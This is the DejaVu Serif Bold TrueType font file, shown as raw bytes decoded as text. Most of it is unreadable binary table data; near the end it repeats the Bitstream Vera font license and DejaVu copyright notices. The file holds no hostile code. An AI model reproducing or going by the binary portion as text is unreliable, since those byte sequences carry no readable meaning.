F]Fw/w/wF�i�F��VT}��S`T�;�;�;7;7;�F�F�F�F�X��hq�hRT��|�F�1�/oT�F!FAFF���H�H�G�hhThThT\��V�F�T�T�F���T���ThThT�T	oT�T�1�1�1P?�F]FLZ�Z�S��S,Z&Z�ZOZOZ�Z7ZKZ�Zj�+������������Z�Z����B��Z�B����������#o#o�m�=��WVZ(Z�Z�Z������m��������Y����������l���;�����������!�������m�m�R���Z�b�D�g��r�����e���m����>��=����������������������@�r���P����������j��m����p;`�Fl7Bj�j��Z�F��T�T�T�5�jZ�5���������K�������J���5���`�`5<`�L�`�V�`�`5���VPZ�q�V�``�S�����V5
N\�`���(T�c�F�F�F(TP�H2VT�c�F�FVT�F�F�I�9�F�FVT�FR��T�TbF�F=`C�V�Q��FVT�F�Q�`VT�F=���=�T�F=d�VVT^V�T�`8�B�kG�^{V\=dR��T�h�V�T�W`�/^V�V���U^V^V^V``6���`]V���`�`�j	�-
`���G`�`~2�`��`�`�```
�`�`�`G`-�V�`�V�``^V�~2�V5
�`N?
%V
XV�	�`�`]V
L`./TVE�F�FUFTF�F�F�F�$�F�FVT�F�/�T�B7S��F�F�F�F#UnU�W4l�2TT��F�T�X
F
�h�$F�(�F�F�F�	�`�l

`
al���V8TS�S��c�`�F�V�<�`�F
�`F�`�FGJ�?T��`�F	W`�F
�`xF^V�T��B�������������
1-uPm?�FH?�?�`
�`�F�`�FN?�F
F�/T�/TF���T`T�VT�VT
�`FAG�G�`�F�`�F�VVT�VVT�VVT]V�W~2~2~2N?�F�`�F	�`U�`R-�$	�-�$�VT9�����F�F&ZE(�F���F�F	F&Zld�d	�d��(����Y(�3�F�dO�����F��F(���F�FO(wdvF��F�Z!�j�V�Pu�X ��
Zp(�Z6xid�2�x�Z�ZFZ$x�<0Z�F�x�2�Zxx�d���(�V������dl%y(Yy�d�(�(R(�F�x�dR(�Z�n�=�2��Z�$u|u�u�u@u�uU	��%U�uiuh�_u	��U7U�uVuu���u�U|u�u���uD ��'u���u�u�uju#ukuu���nn%Pn�F�PVQn�n�2�nn�n�nnnS��=#(�nnKn�P.��n!nZ	Z]��2nAnnn�n]n�nqn�an�n���#!F"F��F�TfFfF�;�����}�F�"�F�FVT�TTV4�
�<VTVT�Fhshs�B./O�cp>�������H�T�Kj<�F!F�F�F�K�$�6��B<B/^<�<�<M6�<[<b��a<�<�6�9�9c6�4�<0<�U�e,�V�V�VBV�V�V�V�VKVKV�VfV0V�V�V�VkV�V�V�V�V)VXS�V�V
&XQS \5�<P�,OZ)V�VXQS ZQ�<PT/���<
F
J�/./o��
�VkVjV�VKVV�V�V-VfVtVfVfV�V�V�VpVtV�V�V�V�V�V.V3VV�V)V�VC�V�VLV7VLV�V�V����������5��/T�`�/�`�/�`�/^V�T�`�T�`�T�`�T�`�T�`�T`T`T`T`T`T�`q?�V�T�`�?�`�?�`���`�?�`�?�`
�`
�`�F�`�F�`�F�`
F�`
F�`
B�`
�VwF�VwF�VwFPZ�FPZ�FPZ�FPZ�F�VVT�VVT�VVT�VVT`�/`�/�`7;�`7;�`7;�`7;���X���X���X���X���X��1��1��1��1�F�/�F�/�F�/�F�/�F�/5�����5������������������������������5
�5
��������L�H�L�H�L�H�?�	�����Tq?qq?�FVT5��/T5��/T5��/T5��/T5��/T5��/T5��/T5��/T5��/T5��/T5��/T5��/T`T`T`T`T`T`T`T`T�`
F�`
F�VVT�VVT�VVT�VVT�VVT�VVT�VVT�UVU�UVU�UVU�UVU�UVU�F�/�F�/�L�3�L�3�L�3�L�3�L�3�������������������������`�F(T(T(T(T(T(T(T(T5��5������5��5���c�c�c�c�c�cWE	[	[���F�F�F�F�F�F�F�F��
�
�
;
w	�	��F�F��������:�1�d���VTVTVTVTVTVT4z	�	�G��F�F�F�F�F�F�F�F`	|	&�Q�Q�Q�Q�Q�Q�Q�Qs�
%
1o�/{(T(T�c�c�F�F��FVTVT�F�F�Q�Q(T(T(T(T(T(T(T(T5��5������5��5���F�F�F�F�F�F�F�F��
�
�
;
w	�	��Q�Q�Q�Q�Q�Q�Q�Qs�
%
1o�/{(T(T(T(T(T(T(T5��5��}5��5��W�W���F�F�F�F�F����	����`Yu��@�F���&��`�`�K��WT��F�F�F�FR�R��F�F������&���Hx���Q�Q�Q�Q�Q����J��\ZZ�V����RoRo�nnn���b�=�b���b�=�b/9/9''��d���1�1(�(
((�(
(��3�3����/-V������B�������/-�5/lsd�(��=�,�1�j�R�f�C�F9�9�9�bzbB'_�=���V�Z�1�j�R�f�C�F9�9�9�bzbB�V�V�V�Z�V,Z0VVZ�V'_�V(Z�V�+���	=(Q`+����]�'�`	�N�N�E�F�O�\\�`5���34uX9 �HxHx�xHxHVHxHVHZH1HxHjHxHZHjHf�x�`�`	�`	`5��	3��3��3��	`5
	

�`^V�`�V
FF	F�F������
���
���F��
�
F�T�TwF

`�`
%`^V�T^VH=�L���u���L���.���.�L�u�n�W�L���u���L�d�L���u�����L�u�L�u�L�L�_����������-������u�����F�F�����u�u�����L�Z�L�L����u����F�F�L�L�u�L���u���L���.�����.�L�u�L�u�����L���u���u�u�L���u���������������u�������u�Z�u�L�u�L�L�u�L�L�u�L!	FL����))���������/�/���������&�&�BHBHBB`�����������<�0�55�����11!1�������������������������������������������������������������������������������������������������������������������/�����������Ol������-��x����]�����]�s�ss�s���������������<�<����<�<������������������������������������������������������������������������������������������������������������������������������<�<������x��x�x��������x�x��������x�x����������������������������������������h������h����������'��'��'��'��'��'��'��'��'��'��'��'��'��'��'��'��'''''��'q'��''��'��'��'��'��''��'����������������������l�l�����g�g�'''''''''''''''''�p��p�r�p�p�p�p�p�p�p�p�p7p7�T��������p�p''''�3����������'''�p���������p�p�p�p'''��������',�,�,�,�,�,�������,�,S,�,�,,�,C,�,X,�,B,�,X,����,x,��������u�n�n�������������DuxLxuxLxLxuxLxLxuxLxuxu@@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,�u�u�L�u�L�u�L�u�����T�T�L�u�L�u�d�n�����d�d�d�d�d�u�d�u�d�L�u�L�u�.�.�.�����.����.���������W�+�+�-�M�E���i�O�O�i��,���L�L�L�u�L�u�L���F�F�����F���F���u�u�����u�u�����F�u�����F�u�����F���u���F�F�F�F�F�F�u�u�����u�u�u�L�u�u�LBL�u�u�L�L�P�6�����A1�3�3��������/���/�L�L�������/���/�L���u�u�L�L��������''''���J
J�`�`�?�`�F�L�H�V�V5���V���	����;`�F=`�;VT�>�Z����L/YVnbC�Mb�ZZ�Z�k+V�M�+V�Z�[�[�Z)V)X�Z���Y'V+V)V2w��|���sXi��[�^Y(t,V�WP��\�������������X�`
J
��
Ly4Z
L`Ol�V{T�����������������6�6�6��`�?E1�H�]T�T�T�T�;�X
h���T
��T	X��T ���T ���T���T^V�TGJ�?S`�F��(���V{TL`�/�m7;�-
3�m�F�m7;^$�"�s�N?PZ�F��
�<.5�F�3�`�`
I���g�rg�r�g�g5.Mr�r�r
xr�r��s�r�rfra�rd:�r�r�r�r�.��=s�r���r>|i�r���r�r�r/rr;�VTt��?�?�?�@�?�A�X�25���`^V�``�`�V�`�`�j�`�`�VPZ�V`�V�`����F5�����5
����L/T�/�T�TTq?�T�?
F�h�F
FwF�FVT�/�T7;�X�1�/����������H5���`�`5<`�L�`�V�`�`5���VPZ�q�V�``�V�S�����V5
N\)(TP�H2VT�c�F�FVT�F�F�I�9�F�FVT�FR��T�TbF�F=`C�V�QFL�T�F=d�TR��F�`8�B�`�������T�������j�o�Z���Z�������������m���
F
F
���

FPZ�xIxIx�xIxIx�x[xXxCxIxCxXxCxCxCxXxhxhxhxC�d�aPZ�VT!�VT�i�SioS��\�\R1�F0X���a���!�
	7��9�k:��;�k<���&��:�$7��$9�k$:��$<��$I��$W��$Y��$Z��$\��$���$���$���$$��$%��$&��$'��$6��$7��$8��$9��$:��$��$��$�$���$
��$��$��$
��$��$��$|��$��
$��
$��$��%&%&&%*&%2&%<��%�&%�&%�&%�&%�&%�&%�&%���%�&%�&%�&%�&%�&%�&%�&%�&%&%&%&%&%8��%:��%�&%�&%�&%��%|��&��&��'��'&'��'9��(&)�2)��)�2)��)��)$��)D��)H��)R��)U��)X��)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)��)��)��)��)��)��)��)��)��)��)��)��)��)��)��)��)��)��)+��)-��)/��)1��)3��)5��)���)���)���)�*��*&*��-��-�a-��-��.�k.$��.&��.2��.8��.:��.<��.H��.R��.X��.\��.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.��.��.��.��.��.0��.1��.:��/7�Y/8��/9�
/:�u/<�}/\��/���/���/���/���/��}/���/���/&�Y/0��/:�}/��/��/��/��1�}1�}1��1��2��2K2��29��2;��3��3��3��3��3��3$�k3D��3H��3R��3��k3��k3��k3��k3��k3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3��3��3���3���4��4K4��57��59��5:��5<��5D/5\��5���5�/5�/5�/5�/5�/5�/5�/5�&5���5���5&��5:��5���5���6��6K6��66��6 ��6"��7�7��7��7��7��7$��77��7D�<7F�7H�7R�7U�k7V�D7X�D7Z�7\�7m�k7}�k7���7���7���7���7���7���7��<7���7���7���7���7��a7��7��Q7��7��Q7��Q7��e7��7��e7��e7��e7��a7��b7��D7��b7��b7��7��7�7�7�7�a7�k7�k7!�D7#�D7&��71�D7��k7��k7��k7��k8�D8��8�D8��8��8$��8���8���8���8���8���9��9�k9��9�29�29$�a92��9D�D9H�D9L��9R�D9X�}9\��9��a9��a9��a9��a9��a9���9���9���9���9���9���9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��}9��}9��}9��}9���9���9�D9��9�D91�}9�&9���9�&9���:��:��:��:�u:�u:$�}:D�N:H�Y:L��:R�Y:U��:X��:\��:��}:��}:��}:��}:��}:��N:��N:��N:��N:��N:��N:��u:��Y:��Y:��Y:��Y:��Y:��Y:��Y:��Y:��Y:��Y:���:���:���:���:���:���:�Y:�Y:��:��:1��:�&:��:�&:��;��;$��;&��;2��;���;���;���;���;���;���;���;���;���;���;���;���;��;��;��<��<�2<��<�<�<$�}<&��<D�a<H�N<L��<R�N<X�N<��}<��}<��}<��}<��}<���<��a<��a<��a<��a<��a<��a<��a<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��<��<�N<�N<1�N=��=��I��I��I��I��I�AI��N��R��U�kU�DU�KU�KU�KU�KY�YY�2Y�KY�KY�KY�KZ�YZ�2Z�KZ�KZ�KZ�K[��\�<\�\�K\�K\�K\�Km-��m7�km&�k}-��}7�k}&�k�7���9�k�:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:���������������
���������
���������|�����
���
�������7���9�k�:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:���������������
���������
���������|�����
���
�������7���9�k�:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:���������������
���������
���������|�����
���
�������7���9�k�:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:���������������
���������
���������|�����
���
�������7���9�k�:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:���������������
���������
���������|�����
���
�������&�������&�&�&�&����K����$���9���<���������������������������:����}��}����������K����9���;������K����9���;������K����9���;������K����9���;������K����9���;������K����9���;����D�����D�������$������������������������D�����D�������$������������������������D�����D�������$������������������������D�����D�������$���������������������������2��������$�}�&���D�a�H�N�L���R�N�X�N���}���}���}���}���}�������a���a���a���a���a���a���a���N���N���N���N���N���N���N���N���N���N���N���N���N���N��������N��N�1�N����&��������������������������<����K��K��K��K��������<����K��K��K��K�7���9�k�:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:���������������
���������
���������|�����
���
�������7���9�k�:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:���������������
���������
���������|�����
���
�������7���9�k�:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:���������������
���������
���������|�����
���
����������������������������������&����9������&����9���&����&����7�Y�8���9�
�:�u�<�}�\���������������������}���������&�Y�0���:�}�������������7�Y�8���9�
�:�u�<�}�\���������������������}���������&�Y�0���:�}������������O�7�Y8��9�
:�u<�}\����������������}������&�Y0��:�}������	�}	�}	��	��&7��9��:��<��D/\������/�/�/�/�/�/�/�&������&��:���������k�D�K�K�K�K7��9��:��<��D/\������/�/�/�/�/�/�/�&������&��:���������k�D�K�K�K�K �� K �� 6��  �� "��"��"K"��"6��" ��""��&�&��&��&��&��&$��&7��&D�<&F�&H�&R�&U�k&V�D&X�D&Z�&\�&m�k&}�k&���&���&���&���&���&��<&��<&��<&��<&��<&��<&��a&��&��&��&��&��&��&��&��&��&��&��a&��D&��D&��D&��D&��&��&�&�&�&�a&�k&�k&!�D&#�D&&��&1�D&��k&��k&��k&��k0�D0��0�D0��0��0$��0���0���0���0���0���:��:�2:��:�:�:$�}:&��:D�a:H�N:L��:R�N:X�N:��}:��}:��}:��}:��}:���:��a:��a:��a:��a:��a:��a:��a:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��:��:�N:�N:1�N?��?��}$��}���}���}���}���}���}��7��9�k:��;�k<���&��:��$��������������������������$���99�:9�;9�<9�������������������������9�:9�7���9���:��;�<�D�Y���Z�����D�&���:�D�-���7�k�&�k�-���7�k�&�k��k�$���&���2���8���:���<���H���R���X���\������������������������������������������������������������������������������������������������������������������������������������������������������0���1���:�����DDDD����x�`\��8l�	T

�t$�
<�@�D�,�T�H�|0�Dt���P���!<!�"�#T$�& 'h((\(�(�))D)�*�+L+�,�-`.//�0p12,2�3�4X4�5�6�748�9p:,:�<=�>�?�@�@�A�BBB�CTDEFxF�HHH�JJ�KhK�K�MdM�N$N�O$O�P8QQ�Q�RR�SS�S�S�S�T�T�T�T�T�T�V<WpW�W�W�W�W�XXX0XHX�YY,YDY\YtY�Z[[0[H[`[x[�\@]P]h]�]�]�]�]�_d_|_�_�_�_�_�``$`<aDa\ata�a�a�a�bXc`cxc�c�c�c�d�d�d�eee4eLede|e�e�e�e�e�ff$f<fTfdgDg\gtg�g�g�g�g�hhh4hLhdh|h�h�h�h�h�ii$i�i�jj,jDj\jtj�j�j�j�k,kPktk�k�k�k�l,lDl\ltl�l�l�l�l�m�n(n@nXnpn�n�n�n�o�ppp0pHp`pxp�qtr�r�r�r�sss0sHs`sxs�s�s�s�s�tt t8tPt�uuu0uHu`uxu�u�u�u�u�vv v8vPvhv�v�v�v�v�v�ww(wxw�x�x�y y�zz�{<{�{�|P|�}T}�~D~����|����$�`��������@���0�����4���X���t�����(�8���H����d�|����t���L�����P����x���P���$�|������� �8�P�h��������������(�@�X�p�������������0�H�`�x���������������D�\�t�������������4�L�d�|�������D�������h�(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(���(�@�X���p���X������ �8�P�h��������������(�@���H������l������L�������T���8�����D���H�`������d���L���0���(���H���h���<�����h�4��������|�������l���T�����L���������$�����T���T���$�t���DŰ��@ƴ�(���8ȼ�,����l���P˴���D̤���Hͼ� ά��PϤ�ЌМ�єѤѼ��D���4Ә�(��ո�X�װ�h���@���ڔ�@ۤ�,ܜ���H���d޴��(�@߈ߴ����T��$�L�t����$����������(�D�X�l�����(��T���x��4�����4�X�|����� �4�H�\�p����������L�`�t�������<�h����� �4�X�x�����<�`����� �4�H��������$���������(�<�������4�p����P����������@������0�L�h������ �8�P�`�p����������4�P�h������������4�D�T�d������<�L�\���������(�8�H�������H�`�x������������� ���$�4����T��P��� ��H���H������p		�	�

$
�\0�

h
����\��,<����@P��dt����`x$4D\l���4��@P�`p�������l|��p P ` �!�"X#4#�#�$0$�%l&<&L&�'P'�'�'�(�(�)P)h)�**p*�*�++$+4+l+|,@,P,�,�-@-�-�.d.�//�/�000�0�111(1@1P1�2T2�2�2�33\3�4H4�5`5�6x7$7�8@8�8�99`9�9�9�:D:�;;<;�;�<L<�=\=�>> >�>�?X?�@(@�@�AHA�A�B�CC$C<C�C�C�D$D�D�EPE�FFdF�G(G|G�G�G�G�H\H�I`I�J0J�J�J�J�KKK,K<KTKlK|K�K�K�K�K�LLL,L<LTLlL�L�L�L�L�L�MMM4MLMdM|M�M�M�M�M�NNHN�N�N�N�OTO�P<P�Q`QpQ�Q�Q�RTR�SpS�TxUU�VV�WXW�XX�Y<Y�ZZ�[`\\x]@]�^X^�_H_�`�a$a�bb�cc�d<d�e�ff�f�gg,gtg�hh(h�ii�i�j\j�kkpl$l�mm,m�nPn�oo�pDp�q�q�r�ssxtt�u\u�v0v�w w�xx@x�y`y�z�z�{d{�|L|�}x}�~�~�P������`�����0���� ��������$����x��|�@�����@���l���<���T������������d�@�0��|�P���l�0��������L�����������D�<�����h������<�H���<� �(�������|�H�����(�t�����(�����4����d�������\�l����x�����L�����t�� �p��H��������l���<�L�\�l�|���\���4����Tɠ��Tʀ����Hˠ���,�x���0͠��TΤ�ϐ��Ш��p���(Ұ�8Ӹ��T���LՐ����D֬���Dה��T��L٬�@��۔ۨۼ�������l܀ܔ�(ݰ���H���H���D�������X���(�����4��� �t��`���l���4��0���\��0���\����4���l������,�\�t����������4�L�d�|����������$�<�T�l����������,�D�\�t����������4�L�d�|����������$�<�T�l��������������,�D�\�t�������������4�L�d�|������������$�<�T�l��������������,�D�\�t�������������4�T�l��������������,�D�\�t�������������4�L�d�|������������$�<�T�l��������������,�D�\�t������������h��Xh������(@Xp�����(@Xp�����(@Xp�����8Xp�����0H`x�����0H`x����� 8Ph������(@Xp�����			X	�	�	�	�

(
@
X
p
�
�
�
�
�0H`x�����(@Xp�����


4
P
h
�
�
�
�
�0H`x�����(@\x����� <Tl������,D\x�����$<Tl�����4Phx������0@Xh������(@Xp�����0H`x����� 8Ph������(@Xp�����0H`x����� dt����� 0L\t�����0H`x����� 8H`x����� 8HXp������(@P��������������������   H p � � �!0!x!�" "�##`#�$�$�%%8%�&&&&&&&'\(p(�(�(�(�)) )D)�)�)�*X*l*�*�++8+P+h+�+�+�,<,P,�- -D-�-�-�-�-�-�-�-�-�-�-�-�-�-�.0.x//�0040�1`1�1�1�22D2�2�2�2�2�33 343H3\3p3�3�3�3�3�3�3�44$484L4`4t4�4�4�4�4�5d6|7D7�8�949p9�:h:�:�;;l;�<�=�=�>>$>4>|>�??(?X@@L@l@�@�@�@�AA4ATAtA�A�A�A�BB4BLB\B�B�C,C<C�C�DTD�D�ELE�E�E�E�FFF4FTFlF|F�F�F�F�GGG<GLG\GlG|G�HtIDI�JJdJ�J�J�KKDK�K�LL<LpL�L�M<M�N<N�N�OOhO�O�P8PtP�P�QDQ�Q�RDR�S8S�S�TTTT�T�T�U4U�U�V0VLV�WW@WhW�W�W�XX0XTXpX�X�X�X�X�YY4YPY�Z0Z�Z�[[H[�[�\4\|\�]]P]�]�^(^x^�_,_|_�``l`�`�a0ata�a�b\b�cctc�dPd�d�e4e�f$f@f�f�gDg�g�hXh�ii@i�i�j�j�k,k�k�l,l�mm�n,npoo0opo�o�pp`p�p�qqq�r`r�r�r�r�s sls�s�ttTuuu<uxu�vpv�w8w|w�xHyTy�y�zXz�{{x||4|�|�}8}�}�~p~����T�|������0�X��|��t����� ����d�����@�d���������,�\������H�����\������ �@�`����������\����������0�h��������8�\���������T�������8�p����������4�P�������0�h�����<�`����������8�\�|��������(�H�l��������<�l��������<�h��������<�h��������<�d��������0�\��������H�|������P�������,�`������� �L�x������� �L��������8�d�������$�T�������0�p������H�x����D������0�`����������0�L�h����������,�T�h������������,�H�d������������ �����l��������������<�`�t���������L�d����X���h�(�D�p�������� �T�p���������$�@�l����������D�`����������<�p���D��������h�����T°��t������P����pŜ�����$�hƬ�������\LjǴ����@Ȍȸ���LɌ����L���L���L�t̜������8�T�|ΰ��<�`����٨�4���l�d߈��� �,������h����P��D����������D�����8����\��������T�����$�`�����,��������������(�L�`�|��������� �L�`�|��������� �L�h��������,�X������������<�`����������@�l��������0�\������0\���P�����<`����@l���0\���0\���P����@l���H|��		L	p	�	�	�
(
\
�
�
�,`��H�����

<
`
�
�
�
�@l���0\���0\���P����@l���H|��Lp���(\���,`��H����@l���H|��Lp���(\���,`��H���<h��8l��  L � � �!,!`!�!�""H"�"�"�#8#|#�#�$@$�$�%`%�&&�&�','t'�((H(�(�))L)�**�*�+,+�+�,`,�-X-�-�..\.�.�/(/t/�00`0�11\1�2$2�2�303x3�4L4�4�5\5�6<6�6�77T7�7�8P8�99t9�::�;;p;�<<d<�==�>8>h>�>�>�?(?X?�?�?�@ @T@�@�@�A$AXA�A�A�BBHBxB�B�B�CC,CHC�C�DDDDxD�D�EE0ELE�E�F<F�GG�G�HDH�H�IpI�JJhJ�KK KHK�L�L�MM�M�N0N�N�O8OhO�O�O�P,P`P�P�QQLQ�Q�Q�R RLRxR�R�SS0S`TTdT�UU�VVlV�W0WpW�X(X�X�Y\Y�ZZxZ�[[�\\x\�\�]]�^@__�`�a�bTc4c�d�ePe�f�g�hDii�j�kpll�m�n�olo�p�q0q�rLs(tt�u|vHwDw�x\yy�z�{T{�{�{�||8|�|�|�|�|�}}x~~|~�������(�P�t��������8�X�|��������<�x�����8���0���T���(�|������l�����P���t��l���h��x�4�D�T�d�t�����x�����h�����P������h�����P��������T������ �l����`�������D�� ���������H��p�8� �������������<�������X�`�����D����������������t�|���������ÄĤŰ�D�4�4�4�4�4�4�4�4�4�4�4�4�4�4�4�4�4�4�4�4�4Ǵ�����������$�4�D�T�d�tȄȔȤȴ�����������$�4�D�T�d�tɄɔɤɴ�����������$�4�D�T�d�tʄʔʤʴ�����������$�4�D�T�d�t˄˔ˤ˴�����������$�4�D�T�d�t̴̤̄̔�����������$�4�D�T�d�ẗ͔́ͤʹ�����������$�4�D�T�d�t΄ΔΤδ�����������$�4�D�T�p�<Д���8Ҩ� �T���lԘ������Hմ�����P�t֐֬�������8�T�p׌ר�������4�P�l؈ؤؼ�l����|ڨ��x۴�,ܘ�ݤݸ�0���P���h�
�	+�@+�>_�:Qz��@�
	��4� ! 8	�	 	G	"V	"�	�	 �	"	:R	
&�	hh	 	 .Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
DejaVu SerifDejaVu SerifBoldBoldDejaVu Serif BoldDejaVu Serif BoldDejaVu Serif BoldDejaVu Serif BoldVersion 2.37Version 2.37DejaVuSerif-BoldDejaVuSerif-BoldDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
Fonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/LicenseDejaVu SerifDejaVu SerifBoldBold�~Z
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDE�FGHIJKLMNOPQRSTUVWXYZ[�\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~������������������������������������������������������������������������������������������������������������������������������������������������	

� !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������������������												
			
